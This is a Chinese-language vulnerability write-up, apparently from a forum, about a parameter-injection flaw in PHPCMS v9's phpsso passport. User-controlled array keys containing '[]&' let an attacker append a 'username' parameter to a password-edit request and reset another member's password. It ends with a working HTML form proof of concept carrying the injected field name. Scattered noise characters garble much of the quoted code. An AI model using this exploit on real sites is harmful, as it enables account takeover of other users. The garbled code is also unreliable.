提到的通行证的代码:
, J8 p4 N+ B8 T9 `; ^# ?; B6 e v, h% z1 B2 V
- t' N b$ J9 {parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);1 J; n% q& G; F5 U8 x
8 |8 [& h! q9 M! U O
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
) h1 O! _. d: _ |& i3 V* G6 ?; }7 B, }
我把它留给了你们。
* Y# Z3 t4 D8 v8 ]% a4 Z不知道你们发现了它没有。( f7 E4 `* ?' t8 F* b
; T5 a2 _) I6 v+ M& }! F
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。5 s: \% p S. y) c
4 U/ q8 Q( F/ \! l/ t
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。4 s4 ~' m, g5 }, G. c
1 ?; X8 b: U5 }" F& j
也就是8 g8 z" Q; i$ c* m; c
) f6 s* I9 [4 j0 p4 |3 i
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
' a b* a, L; \& m
2 Y* j' | _2 y2 Z) Z: U+ }要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。$ L! c* n2 H" Z- J7 c
; q6 B5 {+ j% f
5 R9 |. p! r0 \* @其实我们有这样的机会,看看代码,如下:4 d1 |" a9 q' Z: h% K
Z; Q0 H7 z6 z1 [* E* h6 ^
- L$ P [8 W# R* B3 s
public function auth_data($data) {
; x1 z' V0 L" z $s = $sep = '';
% ?% T" ^& _( T3 ]. f* n7 l foreach($data as $k => $v) {/ y& x: X o( Q4 ^+ C. h
if(is_array($v)) {: s( H3 H: I* E
$s2 = $sep2 = '';
4 `" J# a! p; Q9 ^ foreach($v as $k2 => $v2) {
{0 L+ i$ o! q7 i- [, g3 d& g; { $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);- W6 Z& _& [9 h7 p. d; S; S- S
$sep2 = '&';
5 e3 X# J. @6 V9 b6 j' ]0 O. d }
4 c" P6 ?5 J+ f6 m4 r: k5 ? $s .= $sep.$s2;
9 t# C1 @+ Z: q' L4 v/ z: i* J } else {" F% W3 M" f" @# n* k7 G
$s .= "$sep$k=".$this->_ps_stripslashes($v);3 B; y9 A9 l; C0 \+ U8 F8 l# K. }
}
& @% h( s6 r' A' q $sep = '&';8 ?: O6 s# h# W# k7 T, @: a( P* v6 I5 s
}
0 o" K) I' K1 u& b% C6 F* ~
5 l0 ?- q6 ]) o $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
' t+ F* G4 [+ R$ o, P, ~/ ? return $auth_s;" q. w. j" y+ g4 F" C
}
- Y3 n/ I/ l7 e) p+ r5 f- Y) \# M4 ]8 ]9 s) a$ X$ @
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。9 z6 c( O$ \+ _4 I1 u3 j) Z7 g
1 h, }( G; E5 ?! i- D* _举个例子
: G7 y0 k4 s) [/ k) }
# E7 O& X5 N% j+ o% i$a[aaa=a&bbb] = 'a';
: T& U# O/ ?5 x3 o2 y, e7 q
' Y( @# }. d8 l' D& Q会变成aaa=a&bbb=a
) I! u+ K- n7 s) d9 J
" j" [ C# E7 S, ^1 \6 k明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。 M4 v3 V. P) T4 V3 ~
+ g; v8 t1 E. Y1 x+ M0 j这个时候,我们可以再去看一个函数。
3 y+ n6 @9 T( V8 [8 S: _3 F: k L1 t; N* o2 P
就在这个文件内:6 M+ F" n0 i( x7 V( g( X, {3 W
$ A7 J& G1 D' b( [! Z7 j4 y1 F" v' U
5 h) O- J, m/ l Lpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
0 z2 U9 ]2 C. U if($email && !$this->_is_email($email)) {# t; _+ x+ i" g" o3 A6 H6 u
return -4;+ s. Q6 ^/ V6 A. e) d* Z4 A( ?
}
* T E+ s& n' v( r return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
! |# \- Z( u f5 d2 F1 p5 W }& U% p9 B% l9 N: V( Y& L$ u& A
3 c0 s; B7 M1 ?, v' K+ D9 @这是向通行证发了这样一个请求。
3 w; Z- H( w* q% g$ L8 i1 B! _/ @ N X. O/ U& s2 F" h! [. O
我们再跟到通信证代码里去看看,就会有所发现。2 P$ j* |& {- H% b. K- B
" M1 I0 E `$ D1 ?% e
6 @. W2 }5 D% K$ y
public function edit() {
) z6 R- X2 w* _- _ }//能省就省,太长了不是吗?9 J, f+ v2 s8 @: `' R a, Y
0 k5 k( B/ @! C
if($this->username) {/ W0 W4 l: M& e+ |' W
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
( t4 w1 y; H' S2 Q: X3 z $res = $this->db->update($data, array('username'=>$this->username));* p# [' w8 n4 [, m, e9 {1 r
} else {
& X! ~) P2 d" m* E9 m file_put_contents('typeb.txt',print_r($data,1).$this->uid);
" M) o' S8 S+ x M $res = $this->db->update($data, array('uid'=>$this->uid));" V* k) g- Y _# z6 ~. w
}1 y, z2 _3 [6 e& j( s7 w' T& B# w
( _1 Y0 F7 p0 h9 C1 X; l
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
+ R: g9 L# w& N: c
1 f6 b- B. O1 W- |' _public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
+ \6 j2 c( y7 V6 q* E& G9 W
$ v1 p" o3 q2 R1 |很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
# E* i. o) N/ F0 o
) I7 m- N. x* }/ {我当然找到了:
r* n+ n3 `6 x E: Hphpcms9/phpcms/modules/member/index.php
: j8 t; L/ i; R; s$ E. |" ?3 Q4 o* L0 O% e; L- Z, f* K
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);# E! [/ R& F$ {4 c
: [5 w8 z' n& M0 M; X9 n- p' @2 r' v$ {然后就没有然后了。
|# w" R& z. H0 @. _2 j
0 ^; s/ X9 v- ^) F0 e0 v! u2 E<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">5 Q' @ n0 j2 A, }; s; Z0 \0 L
<table width="100%" cellspacing="0" class="table_form">% r/ p2 z4 Y/ W& m
<tr>
' l( _) |$ A( ^% p <th width="80">邮箱:</th> 2 e u) E; p# [" k9 s' r
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>/ s: n4 @! L/ ]' D
</tr>; S( q2 U3 s% U4 W2 z& u8 K7 \
<tr>4 R* C- w7 p! {! K% H* \
<th width="80">原密码:</th> 4 [$ B' n$ N! N4 A: j1 \
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>3 y2 w8 ]" O! _; u
</tr>$ ~, k+ Y/ b! j4 o+ y
<tr>+ Z% t5 c+ X% N! N; y5 i6 V# o
<th>新密码:</th>
$ v; L2 P! S- n- I <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>- p, G0 S' k. H& Z
</tr>
: x0 t" y# e) L' r- P <th></th>; O% c: E$ v$ D) ? k: N- u
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>; }% ]. U) B( A1 ^1 J, `' s
</tr>: u3 k/ h; X5 ?. Y/ w i! O
</table>8 \+ ]5 O4 v- _( E5 P4 e7 C5 f
3 g! X$ `9 N; h+ `; i& f, [0 v 7 X/ R' D. j' b
</form>
1 x1 R5 M. v+ ~6 f$ i |